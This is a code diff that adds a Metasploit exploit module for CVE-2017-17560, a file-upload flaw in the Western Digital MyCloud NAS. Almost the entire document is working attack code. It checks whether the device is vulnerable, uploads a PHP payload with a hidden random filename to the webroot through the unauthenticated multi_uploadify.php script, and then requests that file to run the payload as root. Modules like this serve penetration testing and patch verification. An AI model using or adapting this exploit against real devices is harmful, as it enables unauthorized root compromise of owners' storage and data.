|
| 1 | +## |
| 2 | +# This module requires Metasploit: https://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +class MetasploitModule < Msf::Exploit::Remote |
| 7 | + Rank = ExcellentRanking |
| 8 | + HttpFingerprint = { :method => 'HEAD', :uri => '/web/', :pattern => [/Apache/] } |
| 9 | + |
| 10 | + include Msf::Exploit::Remote::HttpClient |
| 11 | + include Msf::Exploit::FileDropper |
| 12 | + |
| 13 | + def initialize(info={}) |
| 14 | + super(update_info(info, |
| 15 | + 'Name' => 'Western Digital MyCloud multi_uploadify File Upload Vulnerability', |
| 16 | + 'Description' => %q{ |
| 17 | + This module exploits a file upload vulnerability found in Western Digital's MyCloud |
| 18 | + NAS web administration HTTP service. The /web/jquery/uploader/multi_uploadify.php |
| 19 | + PHP script provides multipart upload functionality that is accessible without authentication |
| 20 | + and can be used to place a file anywhere on the device's file system. This allows an |
| 21 | + attacker the ability to upload a PHP shell onto the device and obtain arbitrary code |
| 22 | + execution as root. |
| 23 | + }, |
| 24 | + 'License' => MSF_LICENSE, |
| 25 | + 'Author' => |
| 26 | + [ |
| 27 | + 'Zenofex <zenofex[at]exploitee.rs>' # Initial vulnerability discovery, PoC, and Metasploit module |
| 28 | + ], |
| 29 | + 'References' => |
| 30 | + [ |
| 31 | + ['URL', 'https://www.exploitee.rs/index.php/Western_Digital_MyCloud#.2Fjquery.2Fuploader.2Fmulti_uploadify.php_.28added_08.2F06.2F2017.29'], |
| 32 | + ['URL', 'https://download.exploitee.rs/file/generic/Exploiteers-DEFCON25.pdf'], |
| 33 | + ['URL', 'https://www.youtube.com/watch?v=EO_49pfmA5A'], |
| 34 | + ['CVE', '2017-17560'] |
| 35 | + ], |
| 36 | + 'Platform' => 'php', |
| 37 | + 'Arch' => ARCH_PHP, |
| 38 | + 'Targets' => |
| 39 | + [ |
| 40 | + ['Automatic Targeting', { 'auto' => true }] |
| 41 | + ], |
| 42 | + 'Privileged' => true, |
| 43 | + 'DisclosureDate' => 'Jul 29 2017', |
| 44 | + 'DefaultTarget' => 0)) |
| 45 | + end |
| 46 | + |
| 47 | + def check |
| 48 | + res = send_request_cgi('uri' => '/web/jquery/uploader/multi_uploadify.php') |
| 49 | + |
| 50 | + if res.nil? |
| 51 | + vprint_error('Connection failed') |
| 52 | + return CheckCode::Unknown |
| 53 | + end |
| 54 | + |
| 55 | + if res.code == 302 && res.headers['Location'] =~ /\?status=1/ |
| 56 | + return CheckCode::Vulnerable |
| 57 | + end |
| 58 | + |
| 59 | + CheckCode::Safe |
| 60 | + end |
| 61 | + |
| 62 | + def upload(web_folder, fname, file) |
| 63 | + # construct post data |
| 64 | + data = Rex::MIME::Message.new |
| 65 | + data.add_part(file, 'application/x-php', nil, "form-data; name=\"Filedata[]\"; filename=\"#{fname}\"") |
| 66 | + |
| 67 | + # upload |
| 68 | + res = send_request_cgi({ |
| 69 | + 'method' => 'POST', |
| 70 | + 'uri' => '/web/jquery/uploader/multi_uploadify.php', |
| 71 | + 'ctype' => "multipart/form-data; boundary=#{data.bound}", |
| 72 | + 'data' => data.to_s, |
| 73 | + 'vars_get' => { |
| 74 | + 'folder' => web_folder |
| 75 | + } |
| 76 | + }) |
| 77 | + end |
| 78 | + |
| 79 | + def exploit |
| 80 | + if check != CheckCode::Vulnerable |
| 81 | + fail_with(Failure::NotVulnerable, 'Target does not appear to be a vulnerable Western Digital MyCloud device') |
| 82 | + end |
| 83 | + |
| 84 | + # upload PHP payload to '/var/www' (webroot). |
| 85 | + web_folder = '/var/www' |
| 86 | + php = "<?php #{payload.encoded} ?>" |
| 87 | + print_status("Uploading PHP payload (#{php.length} bytes) to '#{web_folder}'.") |
| 88 | + fname = ".#{rand_text_alphanumeric(rand(10) + 6)}.php" |
| 89 | + |
| 90 | + res = upload(web_folder, fname, php) |
| 91 | + |
| 92 | + # check upload response |
| 93 | + fail_with(Failure::Unreachable, 'No response received from the target.') unless res |
| 94 | + if res.code != 302 || res.headers['Location'] =~ /\?status=0/ |
| 95 | + fail_with(Failure::UnexpectedReply, "Unexpected reply (#{res.body.length} bytes)") |
| 96 | + end |
| 97 | + print_good('Uploaded PHP payload successfully.') |
| 98 | + |
| 99 | + # register uploaded php payload file for cleanup |
| 100 | + register_files_for_cleanup(fname) |
| 101 | + |
| 102 | + # retrieve and execute PHP payload |
| 103 | + print_status("Making request for '/#{fname}' to execute payload.") |
| 104 | + res = send_request_cgi({'uri' => normalize_uri(fname)}, 15) |
| 105 | + end |
| 106 | + |
| 107 | +end |
0 commit comments